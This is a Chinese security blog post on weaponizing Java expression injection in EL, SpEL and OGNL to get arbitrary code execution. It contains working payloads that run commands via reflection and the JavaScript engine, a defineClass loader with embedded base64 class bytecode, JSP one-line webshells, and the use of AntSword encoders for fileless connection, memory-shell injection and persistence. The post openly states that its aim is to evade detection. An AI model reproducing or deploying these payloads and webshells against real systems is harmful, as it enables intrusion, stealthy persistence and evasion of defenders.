Java表达式注入的武器化利用

首发于公众号:网络安全回收站

Java安全从业者能吃上饭的三个主要原因:反序列化,JNDI注入,表达式注入(开个玩笑)。本文想就这三种类型的漏洞的利用谈谈自己的看法,同时提出表达式注入下的武器化利用方法。

在本人看来,漏洞武器化利用方式主要有以下几个特点

  1. 便捷性:一键式、傻瓜式操作。
  2. 通用性:兼容各种环境。
  3. 支持任意代码执行,而非单纯命令执行。
  4. 扩展性:联动其他工具。

目前大多数工具只是做到了任意命令执行,但是在实战中我们更希望得到一个任意代码执行的口子。原因是:

  1. 任意命令执行在进程命令行层面很容易留下痕迹被发现,而任意代码执行在语言函数层面,有天然的隐蔽的优势。
  2. 任意代码执行可以实现注入内存马等进阶操作。

反序列化漏洞在Java安全中的重要性无需多提,其中较为著名的漏洞有weblogic系列漏洞,shiro反序列化漏洞等。其中较为有名的利用工具有ysoserial,几乎是每一个入门Java安全的同学必须学习的一个项目。但实际上ysoserial只是做到了最基础的“命令执行”,并不支持任意代码执行。wh1t3p1g师傅的ysomap则进行了大量的改进。不仅增加了非常多的利用模块,而且增加了很多利用链下任意代码执行的利用方式。

JNDI注入。代表作Log4Shell,核弹漏洞。基础利用工具代表:marshalsec。武器化利用工具代表为feihong师傅的JNDIExploit。可以一键搭建ldap跟http环境,并且可以根据lookup对象的名称来执行动态的参数,还添加了一键注入内存马等功能。同样是做到了从任意命令执行到任意代码执行。

表达式注入漏洞。代表成员有Struts2的ognl表达式注入,SpringBoot spel表达式注入,Tomcat的EL表达式注入等。但是目前大多payload还是弹一个计算器,并没有见到成熟的武器化利用方式。

那么怎么才能实现表达式注入的武器化利用呢?

Java中主流的表达式注入分为三种:EL,Spel,Ognl。不同表达式有不同的语法特点,有些必须要用反射去实例化类,有些可以直接new;有些表达式只能执行一句,有些可以执行多句。所以想要做到武器化利用就要选取一种通用的中间层语言。

自己曾经研究过一种基于JS引擎的Java一句话木马。其中JS引擎就非常符合我们的要求:

  1. 一行代码即可执行,无需执行多句
  2. JDK>=6都可以使用
  3. Java函数层面,可以做到任意代码执行

自己在博客文章里面对js引擎的各种语法进行了详细的解释:https://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/

Tomcat 8.5+jdk8

这里模拟了一个el表达式注入的场景

1
2
3
4
5
<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>
<%
    String res = (String) PageContextImpl.proprietaryEvaluate(request.getParameter("code"), String.class, pageContext, null);
    out.print(res);
%>

可能大家最常见到的就是执行命令的payload,由于el表达式不能执行new等操作,所以需要用反射来构造。

样例如下:

1
code=${"".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe")}

或者是借助js引擎

1
code=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("new+java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()")}

不过两者都是无回显的,不优雅。

最早看到的有回显相关的研究是在这篇文章:https://forum.butian.net/share/886,写的非常好,最后的payload如下:

1
${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}

由于EL表达式不支持直接赋值以及new对象,所以需要用到pageContext.getAttribute跟pageContext.setAttribute来间接实现变量的传递,导致payload写起来非常的麻烦,也非常的臃肿。

所以我们换一种思路,不再使用EL自身的语法,而是在js引擎中实现我们的逻辑。

经过简化后,我们的payload如下:

1
${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("var s = [3];s[0] = \"cmd\";s[1] = \"/c\";s[2] = \"whoami\";var p = java.lang.Runtime.getRuntime().exec(s);var sc = new java.util.Scanner(p.getInputStream(),\"GBK\").useDelimiter(\"\\\\A\");var result = sc.hasNext() ? sc.next() : \"\";sc.close();result;")}

img

在这里我们同样可以借助js引擎调用defineClass来实现任意代码执行的操作:

1
code=${"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval(pageContext.request.getParameter("ant"))}

ant参数内容如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
try {
    load("nashorn:mozilla_compat.js");
  } catch (e) {}
  importPackage(Packages.java.util);
  importPackage(Packages.java.lang);
  importPackage(Packages.java.io);
  function Base64DecodeToByte(str) {
    importPackage(Packages.sun.misc);
    importPackage(Packages.java.util);
    var bt;
    try {
      bt = new BASE64Decoder().decodeBuffer(str);
    } catch (e) {
      bt = new Base64().getDecoder().decode(str);
    }
    return bt;
  }
  function define(Classdata, cmd) {
    var classBytes = Base64DecodeToByte(Classdata);
    var byteArray = Java.type("byte[]");
    var int = Java.type("int");
    var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod(
      "defineClass",
      byteArray.class,
      int.class,
      int.class
    );
    defineClassMethod.setAccessible(true);
    var cc = defineClassMethod.invoke(
      Thread.currentThread().getContextClassLoader(),
      classBytes,
      0,
      classBytes.length
    );
    return cc.getConstructor(java.lang.String.class).newInstance(cmd);
  }  
  define(
    "yv66vgAAADQAKQoABwAZCgAaABsKABoAHAcAHQoABAAeBwAfBwAgAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAAR0aGlzAQAGTGNhbGM7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAHwcAIQcAHQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAgAIgcAIwwAJAAlDAAmACcBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAoACIBAARjYWxjAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBAAMoKVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABgAHAAAAAAABAAEACAAJAAEACgAAAIgAAgADAAAAFSq3AAG4AAIrtgADV6cACE0stgAFsQABAAQADAAPAAQAAwALAAAAGgAGAAAABAAEAAYADAAJAA8ABwAQAAgAFAAKAAwAAAAgAAMAEAAEAA0ADgACAAAAFQAPABAAAAAAABUAEQASAAEAEwAAABMAAv8ADwACBwAUBwAVAAEHABYEAAEAFwAAAAIAGA==",
      "calc"
    );

img

其中字节码部分可以换为注入内存马的payload等等。

之前的jspjs类型必须要在上下文中绑定request跟response对象。但是在Spel跟ognl大多数情况下无法直接获取到这两个对象。于是便对jspjs类型进行了一些改动:

1、取消对外部request跟response的依赖。

2、以编码器的形式内置了利用的payload。

具体commit可以看:

https://github.com/AntSwordProject/antSword/commit/797562b417271480628aa469789582a932318e47

原来的Shell必须要绑定request跟response对象

1
2
3
4
5
6
7
8
<%
    try {
        new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant"), new javax.script.SimpleBindings(new java.util.HashMap() {{
            put("response", response);
            put("request", request);
        }}));
    } catch (Exception e) { }
%>

经过改造后连绑定对象这一步也可以省去了,demo如下:

1
2
3
<%
    out.println(new javax.script.ScriptEngineManager().getEngineByName("js").eval(request.getParameter("ant")));;
%>

所以,现在不管是表达式还是什么场景,只要能够调用javax.script.ScriptEngineManager().getEngineByName(“js”).eval(xxx)这一句,理论上都可以用蚁剑进行无文件直接连接。

当然,现在的Shell跟之前的Shell并不冲突,两种都可以使用。有条件的话还是尽量使用第一种,原因后面会讲到。

起一个Tomcat,el.jsp内容如下

1
2
3
<%
out.print(org.apache.jasper.runtime.PageContextImpl.proprietaryEvaluate(request.getParameter("ant"), String.class, pageContext, null));
%>

打开蚁剑,选择el编码器,一键连接。

img

springboot设置一个测试环境,以spel为例

1
2
3
4
5
6
  @RequestMapping("/spel")
  public String eval(String spel){
      SpelExpressionParser parser = new SpelExpressionParser();
      Expression expression = parser.parseExpression(spel);
      return expression.getValue().toString();
  }

蚁剑选择spelbase64编码器可一键连接

img

img

至于为什么要加一层base64是因为发现如果直接发送的话,两个引号会被nashorn引擎吃掉成一个,然后报错。

img

img

以ognl为例

1
2
3
4
5
6
7
  @RequestMapping("/ognl")
  public String eval(String str) throws Exception {
      OgnlContext context = new OgnlContext();
      Object ognl = Ognl.parseExpression(str);
      Object value = Ognl.getValue(ognl, context, context.getRoot());
      return value.toString();
  }

选择ognl编码器,一键连接

img

As-Exploits是蚁剑的后渗透模块,支持一键反弹Shell,一键注入内存马,一键加载ShellCode等操作。

在1.5版本中,增加了对jspjs类型的支持。

因为As-Exploits中jspjs的payload实际上是对jsp的payload又包了一层,而jsp的payload是硬编码了必须要依赖request跟response,所以如果想在表达式环境下使用,要先绑定request跟response对象,也就是第一种Shell的写法。

另外由于jdk6/7下的Rhino引擎过于傻逼,搞了一晚上解决了各种坑之后发现还是无法直接获取到Object.class(https://github.com/mozilla/rhino/issues/757),所以在Rhino引擎下如何在js里调用defineClass还没有实现,如果有搞出来的师傅可以教教我。

基本信息模块

img

内存马管理模块

img

测试一下内存马注入功能,打进去一个antSword的filter。执行,提示成功

img

去内存马管理模块里看一下,发现已经注入成功

img

通过蚁剑就可以连接我们注入的内存马了。

img

借助蚁剑,我们基本做到了对表达式注入的武器化利用。这样主要有3个作用:

  1. 漏洞的无文件利用。蚁剑的编码器其实有点类似于profile,可以自定义各种请求参数。根据不同场景自己改一改payload,即可达到对指定漏洞的无文件利用效果。本文不涉及具体漏洞的利用,感兴趣的同学可以自己研究。

  2. 表达式下的任意代码执行。原来的表达式注入大多是直接执行命令,属于命令执行层面很容易检测,懂得都懂。

  3. 构造webshell维权。原来jsp webshell主要局限在defineClass,现在可以通过各种表达式来构造webshell了,格局打开。

https://paper.seebug.org/794/

https://xz.aliyun.com/t/9245

http://yzddmr6.com/posts/%E4%B8%80%E7%A7%8D%E6%96%B0%E5%9E%8BJava%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E7%9A%84%E5%AE%9E%E7%8E%B0/